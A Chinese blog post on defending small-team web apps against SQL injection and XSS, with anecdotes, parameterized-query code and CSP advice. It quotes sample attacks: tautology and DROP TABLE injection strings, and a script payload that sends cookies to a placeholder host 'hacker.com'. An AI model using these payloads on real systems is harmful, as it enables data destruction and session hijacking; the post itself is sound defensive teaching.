别等库被删才哭:中小团队防SQL注入与XSS实战

还记得两年前的一个凌晨三点,我的手机像疯了一样震动。

电话那头是运维老张,声音都在抖:“老李,咱们后台管理系统的首页被人挂了赌博广告,而且用户表刚才被批量导出了……”

我当时脑子“嗡”的一下,那是个刚上线不久的内部运营工具,大家都在赶进度,想着“反正是内网用,不用太讲究”。结果,就因为一个实习生为了省事,在搜索框里写了一句原生的SQL拼接,整个数据库差点被人连锅端。

配图

哪怕是内网项目,也不能裸奔。 这就是我今天要和大家聊的:在资源有限的中小团队,如何用最低的成本,堵住SQL注入和XSS这两个最大的窟窿。

这种“省事”的代码,就是定时炸弹

咱们先说SQL注入。很多刚入行的兄弟,或者赶工期的老手,特别喜欢用字符串拼接来拼凑SQL语句。觉得直观、快。

但我亲眼见过一个真实的惨案。

那是我们给一家电商做的小程序后端。有个“按商品名称搜索”的功能。代码大概长这样:

-- 典型的找死写法
String sql = "SELECT * FROM products WHERE name = '" + userName + "'";

开发小哥觉得没问题啊,用户输入“苹果”,查出来的就是苹果。

直到有一天,有个竞争对手搞事情,在搜索框里输入了这么一串东西: ' OR '1'='1

这句SQL瞬间变成了: SELECT * FROM products WHERE name = '' OR '1'='1'

因为 1=1 永远成立,数据库把所有商品信息一股脑全吐了出来。更可怕的是,如果对方输入的是 ; DROP TABLE products; --,那你第二天上班可能就得准备简历了。

怎么防?其实就一招:参数化查询(预编译)。

别去搞什么复杂的正则过滤,也别试图自己写函数去清洗关键词,你玩不过黑客的。直接交给数据库驱动去处理。

我就强制要求团队里所有涉及数据库操作的地方,必须用占位符。比如在Java里用 PreparedStatement,或者如果你用MyBatis/MyBatis-Plus,确保你用的是 #{} 而不是 ${}

// 正确姿势
String sql = "SELECT * FROM products WHERE name = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, userName);

这么做的原理很简单:数据库会先把SQL语句的骨架编译好,把用户输入的内容仅仅当作“数据”填进去,而不是当作“命令”执行。不管用户输入多离谱的代码,它都只是一串普通的字符串。

小思考:你现在的项目里,不管是MyBatis还是JPA,有没有那种为了实现动态排序,偷偷用了 ${} 或者直接拼接字符串的地方?赶紧去搜一下全局代码。

那些“看不见”的脚本,专偷管理员Cookie

聊完后端,再聊聊前端最头疼的XSS(跨站脚本攻击)。

很多人觉得 XSS 离自己很远,其实它就在你身边。

去年我接手过一个烂尾项目,是个论坛系统。有个用户发了个帖子,标题看起来很正常,但只要管理员一点进去审核,后台就会莫名其妙地卡顿一下。

后来复盘发现,那个标题里藏了一段隐形的 JavaScript 代码: <script>fetch('http://hacker.com?cookie='+document.cookie)</script>

因为系统没有对输出内容做转义,这段代码在管理员的浏览器里直接执行了。管理员的 Session ID 被发送到了黑客的服务器。黑客拿着这个 ID,直接伪装成管理员登录后台,把所有帖子都删了。

这就是典型的存储型 XSS

很多开发同学有个误区:“我在前端输入框限制了只能输入中文和数字,不就安全了吗?”

大错特错。 攻击者完全可以绕过浏览器,直接用 Postman 给你的后端接口发请求。

防 XSS 的核心逻辑是:永远不信任用户的输入,并且在输出时进行编码。

针对中小团队,我有两个落地的建议:

  1. 输入过滤不如输出转义: 虽然可以在入库前清洗数据(比如用 OWASP Java Encoder),但更容易踩坑。最稳妥的是在数据展示到页面上时,进行 HTML 转义。把 < 变成 &lt;,把 > 变成 &gt;

    好消息是,现代前端框架(Vue, React, Angular)默认都自带了转义功能。 但也别大意,比如 Vue 里的 v-html 或者 React 里的 dangerouslySetInnerHTML,这俩就是给 XSS 开的后门。除非万不得已(比如渲染富文本编辑器内容),千万别用

配图

  1. 给浏览器穿防弹衣:CSP(内容安全策略) 这是个被很多人忽略的神器。只需要在 HTTP 响应头里加一行配置,就能告诉浏览器:“只许执行我指定域名的脚本,其他的一律拦截。”

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
    

    我就遇到过一次,因为配置了 CSP,攻击者注入的脚本虽然在页面上了,但浏览器直接拒绝执行,控制台报了个红错,完美拦截。

安全不是一次性的,是种习惯

我在带团队的时候,每周五下午的代码走查(Code Review)环节,都会专门盯着这两点看。

时间久了,大家就形成了肌肉记忆:

  • 看到 SQL 拼接,下意识就会改成占位符;
  • 看到 v-html,下意识就会问一句“这里过滤了吗?”

对于咱们中小团队架构师来说,不需要去买几十万的防火墙,先把代码层面的这两个低级漏洞堵住,就能挡住 90% 的脚本小子。

千万别觉得“我的系统没人这没价值,没人攻击”。在网络世界里,很多攻击都是全网扫描的自动化脚本,它不管你是谁,扫到漏洞就搞你一下。

最后,我想请大家做个小复盘:

回顾一下你最近写的一个功能,如果是“评论”或者“搜索”模块,你敢保证把 <script>alert(1)</script> 输入进去,页面不会弹窗吗?

落地行动指南:

  1. 全局搜索:立刻在你的项目里搜索 $(如果是MyBatis)或者 +(如果是拼接SQL),排查有没有裸露的拼接。
  2. 开启 CSP:如果你的项目是 Web 端,尝试在 Nginx 或者后端代码里加上基础的 CSP 头,先开个 Report-Only 模式看看有多少违规脚本。
  3. 慎用富文本:如果业务必须用富文本编辑器,后端必须引入 DOMPurify (JS) 或 Jsoup (Java) 之类的库进行白名单过滤,绝对不能原样存取。